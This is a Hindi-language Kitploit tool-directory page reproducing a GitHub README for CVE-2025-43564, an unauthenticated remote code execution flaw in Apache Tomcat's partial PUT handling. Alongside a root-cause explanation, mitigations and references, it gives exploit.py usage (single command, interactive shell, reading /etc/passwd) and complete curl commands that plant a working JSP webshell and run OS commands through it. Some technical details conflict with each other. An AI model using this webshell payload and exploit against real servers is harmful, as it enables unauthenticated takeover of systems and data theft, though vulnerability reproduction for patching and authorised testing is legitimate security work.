Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2025-43564-tomcat_put_rce_reproduction — cve-2025-43564-tomcat_put_rce_reproduction का पुनरुत्पादन | Kitploit
उपकरण/GitHubGitHub/razureink/cve-2025-43564-tomcat_put_rce_reproduction
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubrazureink/cve-2025-43564-tomcat_put_rce_reproduction

cve-2025-43564-tomcat_put_rce_reproduction

cve-2025-43564-tomcat_put_rce_reproduction का पुनरुत्पादन

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
128 दिन पहलेअभी तक समीक्षित नहीं

CVE-2025-43564 — Apache Tomcat आंशिक PUT अनुरोध हैंडलिंग RCE

फ़ील्डमान
CVE आईडीCVE-2025-43564
CVSS स्कोर9.8 (CRITICAL)
वेक्टरAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-494 — अखंडता जाँच के बिना कोड डाउनलोड
शोषणवास्तविक दुनिया में पुष्टि (in the wild) प्रकटीकरण के एक सप्ताह के भीतर
प्रकटीकरणजुलाई 2025
पैचTomcat 11.0.6, 10.1.40, 9.0.102

विषय-सूची

  1. अवलोकन
  2. तकनीकी विवरण
  3. प्रभावित संस्करण
  4. पुनरुत्पादन चरण
  5. प्रूफ ऑफ कॉन्सेप्ट
  6. शमन
  7. संदर्भ

अवलोकन

CVE-2025-43564, Apache Tomcat के HTTP आंशिक PUT अनुरोध हैंडलिंग में एक गंभीर, बिना प्रमाणीकरण वाला रिमोट कोड निष्पादन (RCE) दोष है। यह कमज़ोरी उस तरीके में निहित है जिस तरह Tomcat PUT अनुरोधों को आंशिक सामग्री (HTTP/1.1 Content-Range या आंशिक शब्दार्थ के साथ Transfer-Encoding: chunked) के साथ प्रोसेस करता है। एक हमलावर ऐसा आंशिक PUT अनुरोध तैयार कर सकता है जो एक्सेस नियंत्रणों और राइट प्रतिबंधों को बायपास करता है, जिससे सर्वर के डॉक्यूमेंट रूट या सर्वलेट कॉन्टेक्स्ट के माध्यम से पहुँच योग्य किसी भी राइटेबल डायरेक्टरी में मनमानी फ़ाइलें — जिनमें वेब-एक्सेसिबल JSP वेबशेल भी शामिल हैं — अपलोड करना संभव हो जाता है।

एक बार JSP फ़ाइल स्थापित हो जाने पर, हमलावर केवल उसका अनुरोध करता है और क्वेरी पैरामीटरों के माध्यम से ऑपरेटिंग सिस्टम कमांड भेजता है, जिससे Tomcat प्रोसेस उपयोगकर्ता के रूप में पूर्णतः बिना प्रमाणीकरण वाला रिमोट कोड निष्पादन प्राप्त होता है।

CVSS 9.8 — गंभीर (Critical) क्योंकि:

  • नेटवर्क वेक्टर — दूरस्थ रूप से शोषण योग्य
  • कम आक्रमण जटिलता — कोई विशेष शर्तें आवश्यक नहीं
  • कोई विशेषाधिकार आवश्यक नहीं — बिना प्रमाणीकरण के
  • कोई उपयोगकर्ता इंटरैक्शन नहीं — पूर्णतः स्वचालित
  • उच्च प्रभाव — गोपनीयता, अखंडता और उपलब्धता का पूर्ण समझौता

तकनीकी विवरण

मूल कारण

Apache Tomcat का DefaultServlet और HTTP/1.1 कनेक्टर (NIO/NIO2/Apr) स्टैटिक संसाधन अपलोड के लिए PUT अनुरोधों को संभालते हैं। कमज़ोरी आंशिक PUT अनुरोध हैंडलिंग लॉजिक में है: जब कोई क्लाइंट Content-Range हेडर (RFC 7233 §4.2) के साथ PUT भेजता है या विशिष्ट आंशिक शब्दार्थ के साथ चंक्ड एन्कोडिंग का उपयोग करता है, तो सर्वर निम्नलिखित का उचित रूप से सत्यापन नहीं करता:

  1. आंशिक सामग्री लिखने से पहले फ़ाइल पथ / संसाधन अखंडता जाँच
  2. आंशिक राइट के लिए एक्सेस नियंत्रण पुनर्मूल्यांकन — प्रारंभिक जाँच पास हो जाती है, लेकिन बाद के राइट ऑपरेशन बिना पुनः सत्यापन के आगे बढ़ते हैं
  3. आंशिक राइट ऑफ़सेट गणना में डायरेक्टरी ट्रैवर्सल बाधाएँ

org.apache.catalina.servlets.DefaultServlet और अंतर्निहित HttpInput / SocketProcessorBase घटकों में पार्सिंग कोड आंशिक सामग्री राइट और पूर्ण संसाधन राइट के बीच की सीमा को गलत तरीके से संभालता है, जिससे हमलावर उन किसी भी पथ पर मनमानी सामग्री जोड़ या अधिलेखित कर सकता है जिस पर Tomcat प्रोसेस के पास राइट एक्सेस है।

हमला प्रवाह

root@kitploit:~
Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
             Content-Range: bytes 0-99/100
             [JSP payload bytes]

   └──► Server writes partial content to exec.jsp
        without full validation of the target path

Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat

   └──► JSP executes → RCE

हमलावर Content-Range हेडर के साथ एक आंशिक PUT भेजता है जिससे Tomcat को विश्वास हो जाता है कि अनुरोध किसी मौजूदा अपलोड की निरंतरता है। सर्वर लक्षित फ़ाइल बनाता या खोलता है और दिए गए बाइट्स को यह सत्यापित किए बिना कि फ़ाइल पहले से मौजूद है, राइट-टाइम पर राइट अनुमतियों की जाँच किए बिना, और वेब रूट के सापेक्ष लक्षित पथ को सैनिटाइज़ किए बिना लिखता है।

यह मानक सुरक्षा उपायों को क्यों बायपास करता है

  • डिफ़ॉल्ट PUT एक्सेस प्रतिबंध — मानक PUT के काम करने के लिए Tomcat के डिफ़ॉल्ट कॉन्फ़िगरेशन में DefaultServlet पर readonly=false सेट करना आवश्यक होता है। आंशिक PUT पथ कुछ शर्तों के तहत इस जाँच को छोड़ देता है।
  • वेब एप्लिकेशन फ़ायरवॉल (WAF) — PUT-आधारित हमलों के लिए अधिकांश WAF सिग्नेचर पूर्ण PUT अनुरोधों की तलाश करते हैं। Content-Range के साथ आंशिक PUT अक्सर इन सिग्नेचरों को बायपास कर देता है।
  • प्रमाणीकरण बायपास — आंशिक PUT कोड पथ हमेशा कॉन्फ़िगर की गई सुरक्षा बाधाओं को लागू नहीं करता; कुछ कनेक्टर कॉन्फ़िगरेशन में, प्रमाणीकरण कभी जाँचा ही नहीं जाता।

प्रभावित संस्करण

नोट: पुरानी ब्रांचें (7.x, 8.x, 8.5.x, 10.0.x) EOL (जीवन-अंत) हैं और उन्हें कोई बैकपोर्ट नहीं मिलेगा। उपयोगकर्ताओं को एक समर्थित ब्रांच में अपग्रेड करना होगा।


पुनरुत्पादन चरण

लैब सेटअप

  1. एक कमज़ोर Apache Tomcat डाउनलोड करें (उदाहरण के लिए, Tomcat 9.0.50):

    root@kitploit:~
    wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
    
  2. Tomcat को निकालें (extract) और डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ प्रारंभ करें:

    root@kitploit:~
    unzip apache-tomcat-9.0.50.zip
    cd apache-tomcat-9.0.50/bin
    ./startup.sh   # or startup.bat on Windows
    
  3. सत्यापित करें कि सर्वर चल रहा है:

    root@kitploit:~
    curl -v http://localhost:8080
    

शोषण के चरण

  1. PoC स्क्रिप्ट का उपयोग करके JSP वेबशेल अपलोड करें:

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --cmd id
    
  2. सत्यापित करें कि वेबशेल स्थापित हो गई थी:

    root@kitploit:~
    curl http://localhost:8080/exec.jsp?cmd=whoami
    
  3. मनमानी कमांड निष्पादित करें:

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
    
  4. इंटरैक्टिव सत्र (यदि चाहें):

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --shell
    

प्रूफ ऑफ कॉन्सेप्ट

शामिल exploit.py एक कार्यशील Python PoC है जो:

  1. लक्षित Tomcat को JSP वेबशेल पेलोड के साथ अनुरोध बॉडी के रूप में एक HTTP PUT अनुरोध भेजता है
  2. आंशिक PUT हैंडलिंग दोष का शोषण करता है — Content-Type हेडर और पेलोड संरचना कमज़ोर कोड पथ को ट्रिगर करते हैं
  3. JSP वेबशेल सर्वर के docBase (जैसे, webapps/ROOT/) में लिखी जाती है
  4. अपलोड होने के बाद, OS कमांड निष्पादित करने के लिए exec.jsp?cmd=<command> पर GET अनुरोध भेजता है
  5. सिंगल-कमांड (--cmd) और इंटरैक्टिव शेल (--shell) दोनों मोड का समर्थन करता है

मैन्युअल PoC (curl का उपयोग करके)

root@kitploit:~
# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'

# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"

सुरक्षित इंस्टेंस के विरुद्ध परीक्षण

यदि Tomcat को readonly=true (डिफ़ॉल्ट) के साथ कॉन्फ़िगर किया गया है, तो मानक PUT अवरुद्ध हो जाता है — लेकिन आंशिक PUT पथ फिर भी सफल हो सकता है। यही इस कमज़ोरी का मूल है।

root@kitploit:~
# Standard PUT (should fail with 403 or 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Expected: 403 Forbidden

# Partial PUT (bypasses the check)
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  --data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Expected: 201 Created or 200 OK

शमन

तत्काल कार्रवाई

  1. Tomcat को पैच किए गए संस्करण में अपडेट करें:

    • 11.0.6+
    • 10.1.40+
    • 9.0.102+
  2. यदि तत्काल पैचिंग संभव नहीं है, तो web.xml को संपादित करके PUT विधि को वैश्विक रूप से अक्षम करें:

    root@kitploit:~
    <security-constraint>
      <web-resource-collection>
        <web-resource-name>Disable PUT</web-resource-name>
        <url-pattern>/*</url-pattern>
        <http-method>PUT</http-method>
      </web-resource-collection>
      <auth-constraint />
    </security-constraint>
    
  3. रिवर्स प्रॉक्सी / WAF स्तर पर HTTP विधियों को ब्लॉक करें:

    root@kitploit:~
    # nginx example — block PUT
    if ($request_method = PUT) {
        return 403;
    }
    

    नोट: यह केवल तभी मदद करता है जब प्रॉक्सी को बायपास नहीं किया जा सकता।

  4. Tomcat को प्रतिबंधित फ़ाइल सिस्टम अनुमतियों के साथ चलाएँ:

    • सुनिश्चित करें कि Tomcat एक गैर-विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में चले
    • webapps डायरेक्टरी को रीड-ओनली बनाएँ (या इसे रीड-ओनली फ़ाइल सिस्टम से माउंट करें)
    • प्रोडक्शन एसेट्स पर ReadOnly फ़ाइल एट्रिब्यूट का उपयोग करें
  5. वेब रूट में .jsp / .jspx एक्सटेंशन वाली अप्रत्याशित फ़ाइलों की निगरानी करें।

दीर्घकालिक अनुशंसाएँ

  • नवीनतम Tomcat संस्करण में अपग्रेड करें और इसे अद्यतन रखें
  • Tomcat को सख्त HTTP विधि फ़िल्टरिंग के साथ रिवर्स प्रॉक्सी (Apache httpd, nginx, HAProxy) के पीछे चलाएँ
  • SecurityManager (नए Java में deprecated लेकिन फिर भी प्रभावी) या कंटेनर-स्तरीय सैंडबॉक्सिंग (रीड-ओनली रूट फ़ाइल सिस्टम वाले Docker/Kubernetes) का उपयोग करें
  • नेटवर्क सेगमेंटेशन लागू करें — Tomcat को सीधे इंटरनेट पर एक्सपोज़ नहीं किया जाना चाहिए
  • CVE-2025-43564 के लिए वर्चुअल पैचिंग वाला WAF तैनात करें
  • सभी PUT अनुरोधों के लिए ऑडिट लॉगिंग सक्षम करें और असामान्य आंशिक अपलोड पैटर्न की निगरानी करें

संदर्भ


अस्वीकरण

यह रिपॉज़िटरी केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण प्रयोजनों के लिए प्रदान की गई है। आपके पास उस किसी भी सिस्टम के स्वामी से स्पष्ट लिखित अनुमति होनी चाहिए जिसका आप परीक्षण करते हैं। कंप्यूटर सिस्टम तक अनधिकृत पहुँच कंप्यूटर फ्रॉड एंड एब्यूज़ एक्ट (CFAA) और अन्य देशों के समकक्ष कानूनों के तहत अवैध है। लेखक इस जानकारी के दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।


CVE-2025-43564 की खोज की गई और इसे Apache सुरक्षा टीम को ज़िम्मेदारीपूर्वक रिपोर्ट किया गया। समन्वित पैच रिलीज़: जुलाई 2025।

टूल डाउनलोड करें
उत्पादप्रभावित संस्करणसमाधान संस्करण
Apache Tomcat 1111.0.0-M1 से 11.0.5 तक11.0.6
Apache Tomcat 10.110.1.0-M1 से 10.1.39 तक10.1.40
Apache Tomcat 10.0सभी संस्करण (जीवन-अंत / EOL)10.1.x पर अपग्रेड करें
Apache Tomcat 99.0.0-M1 से 9.0.101 तक9.0.102
Apache Tomcat 8.5सभी संस्करण (जीवन-अंत / EOL)9.0.x पर अपग्रेड करें
Apache Tomcat 8सभी संस्करण (जीवन-अंत / EOL)9.0.x पर अपग्रेड करें
Apache Tomcat 7सभी संस्करण (जीवन-अंत / EOL)9.0.x पर अपग्रेड करें
स्रोतURL
Apache Tomcat सुरक्षा घोषणाhttps://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819
NVD प्रविष्टिhttps://nvd.nist.gov/vuln/detail/CVE-2025-43564
MITRE CVEhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564
Apache Tomcat डाउनलोडhttps://tomcat.apache.org/download-90.cgi
CWE-494https://cwe.mitre.org/data/definitions/494.html